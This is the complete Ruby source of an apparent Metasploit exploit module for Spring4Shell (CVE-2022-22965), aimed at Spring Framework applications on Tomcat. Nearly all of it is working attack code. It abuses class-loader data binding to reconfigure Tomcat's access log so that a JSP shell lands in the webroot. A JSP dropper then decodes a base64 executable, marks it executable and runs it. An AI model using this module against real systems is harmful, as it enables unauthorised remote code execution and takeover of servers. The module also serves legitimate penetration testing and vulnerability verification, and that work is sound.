Spring4Shell Spring Framework Class Property Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking # It's going to manipulate the Class Loader

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
        'Description' => %q{
          Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
          and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
          to remote code execution due to an unsafe data binding used to populate an object from request parameters
          to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
          org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
          class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
          gain remote code execution.
        },
        'Author' => [
          'vleminator <vleminator[at]gmail.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-22965'],
          ['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
          ['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
          ['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
        ],
        'Platform' => %w[linux win],
        'Payload' => {
          'Space' => 5000,
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => %w[linux win]
            },
          ],
          [
            'Linux',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux'
            }
          ],
          [
            'Windows',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win'
            }
          ]
        ],
        'DisclosureDate' => '2022-03-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Spring4Shell', 'SpringShell'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
        OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),
        OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),
      ]
    )
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def jsp_dropper(file, exe)
    # The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
    dropper = <<~EOS
      <%@ page import=\"java.io.FileOutputStream\" %>
      <%@ page import=\"java.util.Base64\" %>
      <%@ page import=\"java.io.File\" %>
      <%
        FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
        oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
        oFile.flush();
        oFile.close();
        File f = new File(\"#{file}\");
        f.setExecutable(true);
        Runtime.getRuntime().exec(\"#{file}\");
      %>
    EOS

    dropper
  end

  def modify_class_loader(method, opts)
    cl_prefix = 'class.module.classLoader'

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method' => method,
      'headers' => {
        'c1' => '<%', # %{c1}i replacement in payload
        'c2' => '%>' # %{c2}i replacement in payload
      },
      "vars_#{method == 'GET' ? 'get' : 'post'}" => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })
  end

  def check_log_file
    print_status("#{peer} - Waiting for the server to flush the logfile")
    print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}")

    succeeded = retry_until_true(timeout: 60) do
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(@jsp_file)
      })

      res&.code == 200 && !res.body.blank?
    end

    fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded

    print_good("#{peer} - Log file flushed")
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ''
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l =~ /%>/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end

  def create_jsp
    jsp = <<~EOS
      <%
        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
        jsp.delete();
      %>
      #{Faker::Internet.uuid}
    EOS
    if target['Arch'] == ARCH_JAVA
      jsp << fix(payload.encoded)
    else
      payload_exe = generate_payload_exe
      payload_filename = rand_text_alphanumeric(rand(4..7))

      if target['Platform'] == 'win'
        payload_path = datastore['WritableDir'] + '\\' + payload_filename
      else
        payload_path = datastore['WritableDir'] + '/' + payload_filename
      end

      jsp << jsp_dropper(payload_path, payload_exe)
      register_files_for_cleanup(payload_path)
    end

    jsp
  end

  def check
    @checkcode = _check
  end

  def _check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
    )

    return CheckCode::Unknown('Web server seems unresponsive') unless res

    if res.headers.key?('Server')
      res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
    else
      res.body.match(%r{Apache\s(.*)/([\d|.]+)})
    end

    server = Regexp.last_match(1) || nil
    version = Rex::Version.new(Regexp.last_match(2)) || nil

    return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)

    vprint_status("Detected #{server} #{version} running")

    if datastore['HTTP_METHOD'] == 'Automatic'
      # prefer POST over get to keep the vars out of the query string if possible
      methods = %w[POST GET]
    else
      methods = [ datastore['HTTP_METHOD'] ]
    end

    methods.each do |method|
      vars = "vars_#{method == 'GET' ? 'get' : 'post'}"
      res = send_request_cgi(
        'method' => method,
        'uri' => normalize_uri(datastore['TARGETURI']),
        vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }
      )

      # setting the default assertion status to a valid status
      send_request_cgi(
        'method' => method,
        'uri' => normalize_uri(datastore['TARGETURI']),
        vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }
      )
      return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    prefix_jsp = rand_text_alphanumeric(rand(3..5))
    date_format = rand_text_numeric(rand(1..4))
    @jsp_file = prefix_jsp + date_format + '.jsp'
    http_method = datastore['HTTP_METHOD']
    if http_method == 'Automatic'
      # if the check was skipped but we need to automatically identify the method, we have to run it here
      @checkcode = check if @checkcode.nil?
      http_method = @checkcode.details[:method]
      fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?

      print_good("Automatically identified HTTP method: #{http_method}")
    end

    # if the check method ran automatically, add a short delay before continuing with exploitation
    sleep(5) if @checkcode

    # Prepare the JSP
    print_status("#{peer} - Generating JSP...")

    # rubocop:disable  Style/FormatStringToken
    jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
    # rubocop:enable  Style/FormatStringToken

    # Modify the Class Loader
    print_status("#{peer} - Modifying Class Loader...")
    properties = {
      payload: jsp,
      directory: datastore['PAYLOAD_PATH'],
      prefix: prefix_jsp,
      suffix: '.jsp',
      file_date_format: date_format
    }
    res = modify_class_loader(http_method, properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end

    # No matter what happened, try to 'restore' the Class Loader
    properties = {
      payload: '',
      directory: '',
      prefix: '',
      suffix: '',
      file_date_format: ''
    }

    modify_class_loader(http_method, properties)

    check_log_file

    handler
  end

  # Retry the block until it returns a truthy value. Each iteration attempt will
  # be performed with expoential backoff. If the timeout period surpasses, false is returned.
  def retry_until_true(timeout:)
    start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
    ending_time = start_time + timeout
    retry_count = 0
    while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
      result = yield
      return result if result

      retry_count += 1
      remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
      break if remaining_time_budget <= 0

      delay = 2**retry_count
      if delay >= remaining_time_budget
        delay = remaining_time_budget
        vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
      else
        vprint_status("Sleeping for #{delay} seconds before attempting again")
      end

      sleep delay
    end

    false
  end
end

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